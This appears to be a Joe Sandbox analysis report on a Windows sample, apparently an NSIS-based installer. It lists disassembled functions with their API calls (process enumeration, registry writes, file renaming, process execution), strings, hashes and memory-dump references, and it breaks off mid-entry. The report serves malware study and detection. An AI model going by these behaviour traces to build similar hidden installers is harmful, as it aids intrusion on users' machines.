Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

PSAPI.DLL, xrefs: 00406464
Kernel32.DLL, xrefs: 0040659B
Unknown, xrefs: 004064FC
Module32NextW, xrefs: 004065DE
CreateToolhelp32Snapshot, xrefs: 004065B5
Module32FirstW, xrefs: 004065D3
EnumProcessModules, xrefs: 0040648A
Process32NextW, xrefs: 004065C8
EnumProcesses, xrefs: 00406482
GetModuleBaseNameW, xrefs: 00406494
Process32FirstW, xrefs: 004065BD

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

@%F, xrefs: 004042A7
N, xrefs: 0040426C
open, xrefs: 004042DF

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

%s=%s, xrefs: 00406B43
NUL, xrefs: 00406A9E
[Rename], xrefs: 00406BC8, 00406BD7
F, xrefs: 00406AE8

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
